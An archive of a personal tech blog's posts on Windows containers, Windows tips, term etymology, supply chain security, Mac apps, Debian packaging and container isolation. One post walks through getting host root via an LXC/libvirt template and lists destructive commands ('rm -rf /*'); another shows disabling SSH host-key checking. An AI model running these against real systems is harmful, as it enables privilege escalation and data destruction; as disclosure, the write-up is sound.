Adrian Shaw

Windows containers pitfalls

Mon, 08 Dec 2025 00:00:00 +0000

I’ve had enough of the hassle of manually tuning Windows development environments and dealing with their brittle nature. Lately, I’ve had no choice but to use Windows to build some software, and the environment can make or break a piece of software.

So, I decided to automate the pain. Docker supports “Windows Containers.” Unlike Linux containers which use OS-level namespaces and cgroups, Windows containers come in two flavours: process isolation (similar to Linux containers, but only available on Windows Server) and Hyper-V isolation (which spins up a lightweight VM). On Windows 10/11, you’re typically stuck with Hyper-V isolation.

Even with a basic Windows container, you can’t escape some confusing quirks. In this post, I’ll share the challenges I’ve faced, some hard-won advice, and a complete Dockerfile example at the end.

Base images

A good base image I use is mcr.microsoft.com/windows/servercore:ltsc2019. I believe it’s a cut-down version of Windows Server.

Be aware that other images have disappeared from the registry. It’s not clear when Microsoft decides to remove them, so try to stay informed.

PowerShell

You should try to use PowerShell for everything when possible. It’s the default shell in Windows containers and handles paths, environment variables, and Unicode much better than CMD. When downloading files, use Invoke-WebRequest or Invoke-RestMethod rather than shelling out to curl.

CMD Shell

But it’s not always possible to use PowerShell. The trick to using CMD in a container is to use the following flags in your Dockerfile:

SHELL ["cmd", "/S", "/C"]

Here’s what each part roughly means:

SHELL: This Dockerfile instruction changes the default shell used for RUN commands.
cmd: Specifies that the shell to be used is the Windows Command Prompt executable (cmd.exe).
/S: This switch changes how commands are processed. It strips out certain extra processing that might interfere with commands, ensuring they run as intended.
/C: This switch tells cmd.exe to carry out the command that follows and then terminate.

This ensures behaviour that is closely aligned with what Windows users might expect from a batch/Command Prompt environment rather than PowerShell.

Paths in Dockerfile

Use \\ instead of \ wherever possible. You never know which program may strip them out because they are treated as escape characters. Without doing this, I had cases where environment variables would show CUsersUser.sshid_rsa instead of C:\Users\User\.ssh\id_rsa.

Administrator vs Unprivileged User

The most important thing to note is that unprivileged users can’t create symbolic links. This is annoying when you use software that requires them, like gitman.

At least with the ltsc2019 image, I found you can’t use the registry tweaks or turn on developer mode to enable this, like you would on a typical Windows install.

The best workaround is to run container software as Administrator. It’s a bit sad, but I’ve not found a solution yet.

Package management

I highly recommend the scoop.sh package manager, especially over Chocolatey, NuGet, or WinGet. Scoop works without admin, but if you face the symlink issue then you can force Scoop to install and run as Administrator by using an extra install argument.

Git and SSH agent

I found the following necessary for ssh-agent to work. Run these as Administrator:

Get-Service -Name ssh-agent | Set-Service -StartupType Automatic
Start-Service ssh-agent

Important: Don’t put Start-Service ssh-agent as a RUN command in the Dockerfile, because it won’t be running when the container starts—services don’t persist across image layers.

You also need the following, otherwise SSH agent won’t work properly:

git config --global core.sshCommand "'C:\\Windows\\System32\\OpenSSH\\ssh.exe'"
git config --global core.symlinks true

If you run some git-based tool like gitman, you may not see any interactive prompts that normally appear. One case is that it was hung on an invisible prompt asking to accept a host key. Either connect to the server manually beforehand, or disable StrictHostKeyChecking:

RUN echo Host * >> C:\Users\ContainerAdministrator\.ssh\config && \
    echo     StrictHostKeyChecking no >> C:\Users\ContainerAdministrator\.ssh\config

Warning: This is utterly insecure and I don’t recommend it. It’s better to scan the hosts at a known good time and save the known_hosts file somewhere that can then be copied into the container.

Installing Visual Studio

The easiest way to install Visual Studio into a container is to create a .vsconfig file and pass it to the Visual Studio installer.

Here is an example:

{
  "version": "1.0",
  "components": [
    "Microsoft.Component.MSBuild",
    "Microsoft.NetCore.Component.Runtime.5.0",
    "Microsoft.VisualStudio.Component.CoreBuildTools",
    "Microsoft.VisualStudio.Component.Roslyn.Compiler",
    "Microsoft.VisualStudio.Component.VC.Tools.x86.x64",
    "Microsoft.VisualStudio.Component.Windows10SDK.19041",
    "Microsoft.VisualStudio.Workload.MSBuildTools",
    "Microsoft.VisualStudio.ComponentGroup.NativeDesktop.Core",
    "Microsoft.VisualStudio.Workload.NativeDesktop",
    "Microsoft.VisualStudio.Component.VC.ATLMFC"
  ]
}

You can find the component IDs you need in the Visual Studio component directory.

Example Dockerfile

Here’s a complete example bringing together most of the advice from this post:

# escape=`
FROM mcr.microsoft.com/windows/servercore:ltsc2019

# Use CMD shell for compatibility
SHELL ["cmd", "/S", "/C"]

# Install Scoop as Administrator
RUN powershell -Command `
    Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force; `
    iex (New-Object Net.WebClient).DownloadString('https://get.scoop.sh')

# Install essential tools via Scoop
RUN powershell -Command `
    scoop install git; `
    scoop install cmake; `
    scoop install ninja

# Configure Git for SSH
RUN git config --global core.sshCommand "'C:\\Windows\\System32\\OpenSSH\\ssh.exe'" && `
    git config --global core.symlinks true

# Enable and start SSH agent
RUN powershell -Command `
    Get-Service -Name ssh-agent | Set-Service -StartupType Automatic

# Set up working directory
WORKDIR C:\\workspace

# Entry point that starts ssh-agent
CMD powershell -Command "Start-Service ssh-agent; cmd"

Note: Remember that services don’t persist across image layers, so Start-Service ssh-agent must be in the entry point or run script, not in a RUN command.

Final thoughts

Windows containers are painful, but they can save hours of manual environment setup once you get them working.

Good luck, and may your builds be reproducible. ```

Making windows bearable

Sun, 07 Dec 2025 00:00:00 +0000

Sometimes you have no choice but to use Windows. Whether it’s for work, gaming, or that one piece of software that only runs on Microsoft’s platform, we’ve all been there. After years of macOS, going back to Windows feels like I keep bumping my head against something, where everything is almost familiar, but slightly off.

Here’s my survival guide for making Windows feel less hostile.

CPU Performance: ThrottleStop

Before anything else, make sure your hardware is actually performing. Many laptops aggressively throttle the CPU, leaving you with a sluggish experience for no good reason. ThrottleStop can help you take back control of your CPU’s performance. Without decent CPU performance, nothing else on this list will feel right.

Scoop: A Proper Package Manager

If you miss brew install, you’ll love Scoop. It’s a command-line package manager that doesn’t require admin privileges and works exactly how you’d expect:

scoop install git
scoop install vim

Simple!

Coreutils

Once you have Scoop, immediately run:

scoop install coreutils

Now you have ls, grep, cat, and so on. Your muscle memory will thank you.

GlazeWM: Tiling Window Manager

If you like tiling window managers, GlazeWM is one that doesn’t require admin and does a reasonable job at filling available screen space. It has a sensible user license and actually works well.

scoop bucket add extras
scoop install extras/glazewm
scoop install extras/zebar

Important key bindings:

Alt + Arrow keys - Navigate between windows
Alt + V - Toggle vertical/horizontal split for the next window

In my opinion, once you go tiling, you never go back.

PowerToys: Spotlight for Windows

Microsoft’s PowerToys is surprisingly good. Install it from the Windows Store, then immediately go to PowerToys Run settings and change the activation shortcut to Windows + Space.

Now you have something that feels almost like Spotlight.

TranslucentTB

I find the Windows 11 taskbar to be lacking aesthetically. TranslucentTB from the Windows Store makes it transparent, which somehow makes the whole desktop feel less cluttered.

Quality of Life Settings

These are buried in the settings but worth finding:

Right-click to End Task

No more opening Task Manager just to kill a frozen app.

Settings → System → For developers → End Task

Show File Extensions

Why this isn’t on by default in 2024 is beyond me.

Settings → System → For developers → File Explorer

Focus Follows Mouse

If you’re used to this from Linux/X11, you can enable it in Windows 11 too.

Terminal: Windows Terminal or Alacritty

The default Windows Terminal is acceptable. It’s miles better than the old cmd.exe, but I find it laggy at times. Alacritty is worth trying if you want something snappier.

Other Useful Tools

WinDirStat - Shows a visual treemap of what is consuming the disk space.
Twinkle Tray - Control monitor brightness from your taskbar, which is useful if you have external monitors.
Screenbox - A media player if VLC feels too heavy.
Chris Titus Tech’s debloat script - For removing the telemetry and bloatware.

One Last Tip

Right-click the desktop, go to View, and uncheck “Show desktop icons.”

A clean desktop is like a real clean desk, it declutters the mind.

It would be better to not use Windows at all, but sometimes you have to. Bye for now.

Etymology of computer terms

Thu, 12 Aug 2021 00:00:00 +0000

It’s easy to forget about the origins of some very common computer terms. Quite a few of them rely on a good familiarity with the history of computer development. As a native English speaker I feel like I should be able to explain the names of these terms in case someone asks. I’m writing down the origins of these terms here for my own benefit, but if you’re reading this then you may learn something too!

Terminal 🖥️

What we know now as a graphical window for submitting commands. Terminal derives from the Latin word terminus, which means the end or boundary. In the early days of computing, computers were in a big cabinet, and you entered commands into them using a connected typewriter-like device, which was called a terminal. It is called a terminal because the device is at the end of the cable connected to the computer.

Shell 🐚

This refers to the software that interprets your commands, runs your programs, and then sends output to the console. In the days of Multics and Unix, there was the concept of an inner and outer part of the computer software. The inner part of the computer software was called the kernel and the outer part was called the shell, which is an analogy based on the different parts of a nut, such as an acorn or walnut.

Console 📜

The part that displays the outputs of commands. In the early days this was printed paper coming out of the terminal, and then later on it was on a display that was integrated into the terminal itself. Today with a desktop environment, we can have multiple consoles

Firewall 🧱

A wall intended to confine fires within adjacent buildings. The concept was then later used in cars to isolate the engine compartment from the passenger. In the early days of the internet, this analogy was used to describe the isolation mechanism between public and private networks, although precisely who coined it and when seems unclear.

Bug 🐞

One term that everyone should already know. A bug means a computer issue generally, but the term comes from one of the first documented computer issues where a moth was stuck inside a computer.

Patch 🩹

In the early days of computers, programs were stored on punch cards. Punch cards are small cards that have printed holes in them to denote values. If you made a mistake in your program then you would need to print your program out again on a new set of cards, which certainly sounds annoying and laborious. If the required change was very minor, you could place a bit of tape over the problematic hole on your card to change the value. So patches were physical in those days, and is where the term comes from. Universities and companies had a limited stock of cards, so you can expect some students might have tried to reuse them. Today a patch can refer to any type of fix to a computer program.

I’ll probably update this again at some point with corrections and more fun factoids that I learn about. Ciao.

On Supply Chain Security

Fri, 26 Jul 2019 00:00:00 +0000

Reminder: these are all personal opinions and are not affiliated with any employer

Supply chain security has been a long standing problem within the computer industry. And hardware companies have always cared. Not only do they want to make sure that customers receive the genuine article, but they also want to make sure that their parts don’t appear in competitor products.

It’s never been a sexy enough topic to reach high enough to the desks of CEOs. What it really needed was a big exciting cover story like the Supermicro BMC article from Bloomberg. It’s all the rage. Many who need to talk about supply chain security are now talking about it. Whether you believe the story was true or not is simply irrelevant - it’s something everybody in this industry should be concerned about.

The challenge

It still stands that supply chain security is an enormously complex issue, one that has very little to do with technical problems. It’s multi-faceted, but predominantly about business relationships. And any solution to these problems will be measured by the costs of altering established practices. If you’re competing on price with cheap consumer hardware then adding a dollar of operational costs per unit may simply put you out of the market altogether. If you trade cost for time spent on the factory line, you still have a problem, because time is money. The longer a product takes to assemble then the more money you have to spend on the factory.

While I mentioned business relationships, it’s also about understanding what you want to protect and from who. Everybody has a different supply chain. They all use totally different procedures and are customised slowly over time to reach an optimum level of efficiency on the factory floor. Supply chains can be short or incredibly long, typically with multiple suppliers at each stage. Sometimes your product is even assembled on the same line as your competitor’s product. Due to these factors, there just isn’t a generic threat model that can universally be applied. If you try to make an abstract threat model you simply lose the level of detail that is necessary to reason about this problem. There are no real shortcuts here.

Solutions with incentives

Assuming business arrangements are dandy, I believe the most effective way to secure the supply chain is to build a chain of trust. It’s a bit like a “zero-trust” network, you authenticate all software to ensure that they are from the expected suppliers and you authenticate peripherals like you would with typical network endpoints. The “chain” aspect means you start with very little amount of trust and continually authenticate in a nested fashion. For instance, your hardware would authenticate the firmware, which then authenticates peripherals and subsystems, which then authenticate the OS, which then authenticates network endpoints, and so on. It’s a tried and tested method in other domains.

As you can imagine, there’s a lot of authentication going on. In order to authenticate something you need to already have metadata, which would need to be provisioned at the previous stage. If this can be achieved then this can provide some assurance that final products are genuine. To solve the issue of cloned or missing components, classical inventory tracking should be used (not going to mention databases or blockchains here!). It all sounds rather simple but it really isn’t because the world of business is messy. You need all your suppliers to be on board with the idea. Like all instances of a chain of trust, you must implicitly trust the very first part of the chain. If the actual chain is of length one then it may be difficult to not trust your factory.

Security alone usually isn’t enough of an incentive. There needs to be an industry wide incentive to make this all hang together consistently. If a solution helps solve a business problem as well a security problem, then it’s likely to get more serious attention from business leaders. One main incentive is to shift liability in case a problem occurs. More problems in a supplier component result in more support costs and even recalls, which ultimately reduces profits. Some manufacturers already have the technical means of doing this. This can be measured. Alternatively, some may argue that potential repetitional damage due to poor security can be a good business reason to provide better security practices. But that risk is hard to measure or predict numbers, and in my opinion, only effective once you’ve got a valuable brand.

What next?

Since I don’t think generic threat models are possible here, someone can and should make best practice guidelines. But best practices can often be blindly overruled by real world constraints. Like many other security problems, the costs have to be understood as early as possible so they can be factored into planning.

There is hope:

Big companies like Apple, Amazon and Google are increasingly building more parts in-house and reducing their dependency on external suppliers. They are big targets for attackers and possibly have the most to lose from attacks.
Component authentication standards are being worked on in DMTF and PCIe. Apple have been trailblazers beforehand and I hope these emerging standards are well adopted.
There are plenty of solutions out there that you can use, but none seem to provide a full solution, due to heterogeneous deployment models. The most promising one seems to be SDO.

So, imagine you’re a manufacturer. Some relevant questions to ask:

What do you need to protect from who and at which stage of the supply chain?
Who do you trust and what do you trust them not to do?
Does the factory have internet connectivity? And what if you need to change factory in the future?
What’s the cost of altering the production line workflow and does it meet your security objectives? Is the cost acceptable?
What’s the cost of a supply chain security failure and who pays for it?

Let’s hope companies make the right trade offs (for a poor example, see the Superfish fiasco).

Beautiful mac apps

Fri, 18 Jan 2019 00:00:00 +0000

An opinion piece.

Let’s talk about Mac apps.

The ones that come with the Mac truly have a great user experience. Their designs patterns are mostly consistent.

Finding great looking apps from third party developers is a far greater challenge. The ones that you can find on the Mac App Store are often prohibitively expensive. £19.99 for a text editor? The general supply/demand ratio on the Mac App Store simply isn’t the same as the App Store for iOS devices. So I’m not necessarily blaming developers.

There are plenty of lists online that describe where to get various free applications for the Mac. However, there isn’t a curated list about free applications that are truly native to the Mac and feel great to use.

To keep this list short I’m going to exclude:

apps based on a framework like Electron or React :-) to me they are not native enough!
apps that are only free for a trial period

Textual

A beautiful IRC client. It’s open soruce and also a paid product. If you like it you should consider buying their app. There are some helpful build instructions here if you are interested in building it from scratch.

Fork

A beautiful Git client. SourceTree is also a nice alternative (but requires agreeing to a EULA).

OpenEmu

A beautiful frontend for various emulators of old video game consoles.

IINA

Quicktime is too limited with file formats.

Cryptomator

Nicer than CLI variants.

Sloth

Shows what files are open by which apps.

Vienna

An RSS reader

Debian package example

Sun, 10 Jan 2016 00:00:00 +0000

Happy new year! It’s been around a year since I’ve made a post, but by no means has it been a quiet one. This is a short post that describes how to make a simple Debain package, and mainly acts as a reminder to me for those rare occasions where I do find the need to make one.

There are at least a few advantages to using a Debian package. Firstly, a well made package can be installed without any understanding of how an application works. Secondly, a relatively stateless application install can be cleanly uninstalled with relative ease. Lastly, it’s a good way to declaratively describe the dependencies for the APT package manager; not all humans read the accompanied README files.

However, I’ve always felt that making a Debian package required some understanding and experience of the APT system. For instance, an introduction to Debian packaging is 86 slides[1]. The detail provided is superb, yet still seems overkill for my limited needs. It doesn’t cleanly separate the minimal viable package from all the extras that can make a smart package, and extensive reading on the subject could quickly outweight the benefits. So this short post is a gross simplification of how to make a Debian package. I recommend the slides and the full Debian documentation for those with further interest on the matter.

A subdirectory titled DEBIAN is required, though it isn’t case-sensitive. Within here you include scripts that provide auxiliary functions during installation. At the very least, you must include a file called control. Here are some some example fields that should be included:

Package: helloworld
Depends: bash
Version: 0.0.1
Section: blogpost
Architecture: all
Essential: no
Maintainer: adrianlshaw
Description: This is an example Debian package

Once that is done. You need to replicate subdirectories that will be used on your target system. For instance, if you intend to have your file installed in /usr/local/bin then you should recreate those folders within your package root.

Here is the final example layout of a bare minimum (uncompressed) package:

$ tree
.
├── DEBIAN
│   └── control
└── usr
    └── local
        └── bin
            └── helloworld

You can optionally provide other scripts that can be invoked before or after the files have been copied. These scripts, respectively known as preinst and postinst should be included in the DEBIAN directory.

Finally:

$ dpkg-deb --build package

Where package is the name of the directory of your package contents. It should go without saying that you should also provide documentation using man pages or HTML within your package, but that is outside the scope of this post. Ta-ra!

[1] “Debian Packaging Tutorial”, https://www.debian.org/doc/manuals/packaging-tutorial/packaging-tutorial.en.pdf

Linux container madness

Fri, 09 Jan 2015 00:00:00 +0000

(…or How I Got Root in Less than 5 Minutes)

Update: This has nothing to do with Docker. My mistake - the concern is between LXC and Libvirt. Thanks to Wes Felter for pointing this out in the comments.

I’m unsure if this is actually a vulnerability or just a usability problem with the normal behaviour of LXC/Libvirt. Nevertheless, this seemingly harmless template file seems to cause A LOT of worry, as it allowed me to elevate privileges on the host system from an ordinary user account. I imagine new users of containers, like myself, should be more concerned about how safe these defaults really are.

If you want to try this out, then here is the preamble if you are running a Debian-based Linux. In this case I am running Ubuntu 14.04.1.

admin@host:~$ sudo apt-get install docker virt-manager

Create an unprivileged user, but with access to the libvirtd group:

admin@host:~$ sudo useradd -G libvirtd user 
admin@host:~$ sudo passwd user

Now you should login as the ordinary user. Save the following XML template, which contains a name, a memory limit, console access and a shell. E.g. at /tmp/container.xml

<domain type='lxc'>
	<name>test</name>
	<memory>102400</memory>
	<os>
		<type>exe</type>
		<init>/bin/sh</init>
	</os>
	<devices>
		<console type='pty'/>
	</devices>
</domain>

Import the template into Libvirt:

user@host:~$ virsh define container.xml

Start the container. Make sure you have the Libvirt environment variable exported to work with LXC (e.g. LIBVIRT_DEFAULT_URI=lxc:///), such that Libvirt doesn’t go looking for Xen or KVM.

user@host:~$ export LIBVIRT_DEFAULT_URI=lxc:///
user@host:~$ virsh start test
user@host:~$ virsh console test

And now try to run the bash shell:

  Connected to domain test
  Escape character is ^]
  
# bash
  bash: groups: command not found
  /bin/lesspipe: 1: /bin/lesspipe: basename: not found
  /bin/lesspipe: 1: /bin/lesspipe: dirname: not found
  /bin/lesspipe: 295: [: =: unexpected operator
  Command 'dircolors' is available in '/usr/bin/dircolors'
  The command could not be located because '/usr/bin' is not included in the PATH environment variable.
  dircolors: command not found
root@host:/#

Huh? You now have root on the host. Without any prompt for a superuser password. What kind of messed up world is this? I can read/write to any file on the host:

Provide devastation:

root@host:/# rm -rf /*

Or alternatively just cause a bit of downtime:

root@host:/# rm /boot/*; reboot;

You can access a lot of the system programs in /bin, but it’s trivial to add yourself to the sudoers group instead. Is it possible to be careful with LXC? It doesn’t seem safe for mortals and is hardly encouraging. Like what Dan Walsh said in a recent article, it seems that “containers do not contain”. At least not without a lot of experience and carefully crafted configs. It would be a shame if such obscure semantics will let down the overall usability of the platform.

Thoughts are welcomed. Especially from LXC magicians - what are the semantics behind this configuration file? Privileges by default? My user had no superuser access…I expect them to remain that way.

Undocumented shared libraries

Thu, 23 Oct 2014 00:00:00 +0000

Typically I find myself working with some really awkward, undocumented open source libraries. Sometimes you don’t know there’s a static or dynamic library available until you find an option in configure. Thanks to the authors for A) not letting me know in the README about this, and B) providing no information about the exported symbols.

Rest assured, there is another way. I’m making a useful note here so I won’t forget and for readers to enjoy. Exported symbols can be seen thanks to the GNU nm tool.

  nm -D /usr/local/lib/<your_library>.so | grep T | less

Now you just need to figure out which header files to use.

ARM memory barriers

Thu, 07 Aug 2014 00:00:00 +0000

Unlike on certain x86 memory models, the latest ARM processors (at least v6 onwards) do not provide any guarantees for order of writes to memory. At first that may sound a little disconcerting, but by not providing such guarantees certain interesting optimisations can be made when it comes to power consumption. In this scenario more opportunities are presented for optimising the pipeline model. However, to prevent potentially abnormal program behaviour that can occur during out-of-order operations, the modern ARM architectures provide barrier instructions that allow the programmer to enforce points in code where stricter ordering requirements are necessary. Anything before the memory barrier must be commited. Polarising this, the guarantees offered by the x86 memory model include not reorderingloads with other loads, not remixing stores with other stores, and the same for stores and older loads. Today my eyes have opened a little wider.

Docker breakout fun

Wed, 06 Aug 2014 00:00:00 +0000

Another stern reminder that these popular lightweight virtualisation engines provide very minimal and brittle isolation. Quite an amusing hack! Docker seems like a great way to ship and package both environments and code, without the need for a full VM. Just think twice before using it for security critical containerisation.